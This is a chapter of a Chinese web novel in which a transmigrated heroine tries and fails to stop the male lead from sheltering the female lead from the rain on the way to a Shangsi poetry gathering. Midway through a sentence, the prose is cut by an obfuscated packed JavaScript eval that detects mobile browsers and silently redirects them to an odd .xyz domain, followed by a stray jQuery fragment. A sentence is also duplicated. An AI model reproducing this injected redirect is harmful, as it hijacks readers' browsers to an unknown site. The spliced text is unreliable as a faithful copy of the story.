一个月后,韶府。
天刚蒙蒙亮,韶湘如就被韶峥派来的婆子从被窝里拽了出来。
她抱着被子不肯撒手,眼睛都睁不开,嘴里嘟囔着:“这才几点……让我再睡会。”
婆子急得直跺脚,声音又尖又细:“莲花山路远,姥爷天不亮就出发了,小姐再不起来就赶不及诗会了!”
诗会?
韶湘如迷迷糊糊地想着,前几天在书房听韶父与闻璟说话时似乎确实提过这事。
她那时因为已经被禁足了二十多天,整个人昏昏沉沉地,整日里浑浑噩噩不知天地为何物。
起初韶峥还震惊自己女儿怎么会这么乖乖听话禁足,以前他也不是没这么罚过她,但每次都是被她偷溜出去,然后惹出另一桩事把这个事情给盖过去,最后就不了了之了。
但现在女儿这么听话,他也愈发欣慰,家有小女初成长,心里为韶湘如相看适龄郎君的想法更加热烈了。
韶湘如倒是不知道韶父有这个想法,但这实在没办法叫她不睡觉,这古代,实在太无聊了!
再加上韶府的饭菜挺好吃,吃饱就晕碳,倒是话本小说还挺好看。
自从她看到了一本原主留在屋内的小姐将军的故事书,读完之后一发不可收拾。
禁足只是她的,可没禁她的丫鬟的。
她让桂月去街市买了很多时兴的话本子,就当着古代言情小说一样看。
嚯,你别说,尺度还挺大!
韶峥偶尔路过韶湘如的院子,站在月洞门外就能瞧见窗纸上映着个朦胧身影,正倚在榻上一动不动。
问起来,丫鬟们都说:“小姐在看书呢。”
他站在院中,望着那剪影,眼眶竟有些发热。
素月啊!
他在心底唤着亡妻的名字,我们的女儿终于长大了!
跟你一样爱看书呢!
所以几日前与闻璟商议上巳节诗会时,韶峥想起女儿近来这般变化,又盘算着诗会上那些适龄的举子,再加上闻璟这个知根知底的表兄也在……他当即拍板,特意将女儿唤到书房嘱咐了一番。
可韶湘如哪里知道韶父心里这些弯弯绕绕?
诗会什么的,那些吟诗作对的把戏,原主都不感兴趣,她这个现代人只会更觉得无聊。
不对!她突然一个激灵——
这不正是书中男二与女主初遇的重要场景吗?
韶湘如猛地从床上坐直了身子,睡意全消。
原书里男主李凛川在赴诗会途中,偶遇卖豆腐花的女主肖怜云淋雨,不仅将她请上自己的马车避雨,还破例邀她前往诗会。
而在诗会上,肖怜云更是凭着一首诗大出风头,把男主和男二都迷得神魂颠倒。
从此开启了三人纠缠不清的情感纠葛。
这场热闹,她说什么也要去凑一凑!
经过这一个月的休养和谋划,她早已理清思路:凡是跟男女主沾边的,统统划为敌对阵营。既然男二闻璟是男主李凛川的死对头......
敌人的情敌就是朋友!
如果能帮闻璟把肖怜云抢过来,让女主成了自家表嫂,到时候一家人不说两家话,那之前的过节还有什么解不开的?
至于那个道貌岸然的李凛川……
呵,让他一边凉快去吧!
这种雄竞戏码,她非得去给男二好好助阵才是!
“小姐快醒醒!”婆子见她突然睁大眼睛发愣傻笑,急得直搓手,就差上手来揉她的脸了。
“我就起!”韶湘如一个鲤鱼打挺从床上蹦下来,伸了个大大的懒腰,睡眼惺忪地朝桂月招了招手。
婆子见状抿嘴笑道:“老爷特意嘱咐,姚小姐今日打扮得鲜亮些,今日的诗会上可有好些明年要参加春闱的青年才俊呢。”
不一会儿,桂月领着几个小丫头鱼贯而入。
打头的小丫头莺时捧着一个暗红色漆盘,上头是一件胭脂色缠枝牡丹纹褙子,华贵得晃眼。
韶湘如只看了一眼就忍不住叹气,在原主那堆五颜六色的华贵衣裳里翻找半晌,终于从最底下抽出一件素雅的月白色竹叶纹褙子。
梳洗完毕,她坐在妆镜前让莺时梳头。
莺时先用滴了玫瑰花汁的温水润发,再细细梳理。
几个利落的动作下来,一个精巧的垂鬟分肖髻便成型了。
韶湘如本就生得肤若凝脂,此刻青丝半挽,更衬得杏眼琼鼻格外精致。
莺时看得呆了呆,忍不住道:“小姐这般模样,倒像是小姐最近看的话本里那些个大家闺秀,真真是好看极了!”
“你有眼光!”韶湘如满意地笑了,站起身理了理衣袖,“出发吧。”
韶湘如随引路婆子往韶府门口去,上了马车。
暮色渐沉,天际压着厚重的铅灰色云层,凉风裹挟着枯叶在地上簌簌作响。
她掀开车帘往外看了看,只见远处山峦隐在雾霭中,整片天空仿佛被浸湿的棉絮笼罩着。
忽然,她瞥见了一个熟悉的身影——
肖怜云!
韶湘如眼睛一亮,脑中灵光乍现。
若是现在她先一步帮肖怜云躲雨,那后面李凛川英雄救美的戏码不就泡汤了?
连带着诗会那些风花雪月的事也一并省了!
“桂月!”她当机立断,掀开车帘吩咐道,“让车夫把马车赶到那豆花摊子前头去。”
想到既能破坏剧情又能再尝到那令人念念不忘的豆花,韶湘如忍不住笑弯了眼睛。
不过转念一想,她突然僵住了——
以原主那些“前科”,肖怜云要是认出她来,怕是宁可淋雨也不会上车的。
围帽!
她俯身在车内的脚柜里翻找,手忙脚乱地戴上那顶能遮住面容的轻纱围帽。
突然,一阵剧烈的颠簸让马车猛地一晃,韶湘如心头警铃大作。
她刚想掀帘查看,就听见桂月在外头一声尖叫:“小姐!这马不知怎的受了惊,把……把豆花摊子给撞翻了!”
“靠!”韶湘如眼前一黑,差点背过气去。
她强自镇定地深吸一口气,问道:“那……那人没事吧?”
桂月的声音带着几分慌乱:“看着倒是没事......但那个卖豆花的姑娘像是受了惊。”
“那就好……我们先走,让小厮留下来善后,多给些钱……记住别提韶府。”她急中生智,继
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15839315|175726||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
续吩咐道,“换孟冬来驾车。”
*
风势渐猛,道旁的枝叶相互拍打,发出沙沙的声响。
方才那辆撞翻豆花摊子的马车家仆说要帮她收拾,肖怜云婉言谢绝了。
她拢了拢单薄的衣衫,固执地站在原地——
她在等人。
肖怜云等了好一会儿,手指都冻得发僵,却始终没看到那个期待中的身影。
手指已经冻得发僵,却始终没等到那个身影。
自从上次偶遇李大人,听他说起上巳节将赴莲花山诗会,她便记挂在心。
明知身份悬殊,却还是忍不住想来碰碰运气。
也许真的是白来一趟。
肖怜云轻咬下唇,面上仍维持着平静。
很快,雨势渐密,豆大的雨点砸在青石板上,溅起朵朵水花。
雨水顺着她的发丝滑落,打湿了单薄的衣衫。冷风一吹,她不由得缩了缩肩膀,脸色苍白如纸,却倔强地挺直脊背。
偶尔有行人匆匆路过,她都会悄悄打量,可惜都是些普通百姓,没一个像达官显贵。
肖怜云收回目光,心中百转千回。
她和李大人不过萍水相逢,对方怕是早将她忘了。
可这样的机缘若是错过,怕是再难遇见。
况且……他待人是那般温柔。
过了好一会儿,肖怜云才从哗哗雨声中辨出阵阵脚步声。
那脚步声由远及近,隔着重重雨幕渐渐清晰。
她抬眼望去,只见一行人撑着油纸伞缓步而来,中间簇拥着一位着墨色长衫的公子,在雨中格外醒目。
这一眼,便让肖怜云心头猛然一颤。她急忙垂下眼帘,指甲深深掐进掌心才压下翻涌的情绪。
为掩饰失态,她掩唇轻咳,果然引得那行人驻足。
李凛川的目光穿过雨帘,落在了她身上。
朦胧烟雨中,肖怜云身着淡鹅黄衣裙,恰似一朵沐雨而开的小花,清丽婉约得让人移不开眼。
“怜云姑娘?”李凛川素来不为美色所动,此刻却仍是呼吸微滞。
他撑伞走向她,眉头不自觉地蹙起:“你今日怎么在这?”
“我……”肖怜云声音轻若蚊呐,“想着上巳节游人如织,这里是莲花山必经之路,若在此处摆摊,或能多卖些豆腐花。结果刚才被路过的马车将豆花桶撞倒了……还没来得及开张……我真是没用……”
她说着,语气渐渐低落,“只是没想到突然下了雨,还好遇到了李大人。”
李凛川听完,沉吟片刻:“眼下我要赶赴诗会,前辈在场不便缺席。”
他顿了顿,目光落在肖怜云被雨水打湿的衣衫上,“不如姑娘先随我同往,待诗会结束再送你回去?”
肖怜云抬眸,沾着雨珠的睫毛轻颤,眼眸如秋水般清澈:“多谢李大人,又救了怜云一次。”
李凛川与她目光相接,竟有片刻失神,随即意识到失礼,慌忙别过脸去,耳尖泛起薄红。
不远处马车上,韶湘如将这一幕尽收眼底。
看着李凛川亲自将肖怜云扶上马车,又命随从小心翼翼地收拾她的豆腐花桶,最后细心地为她放下车帘。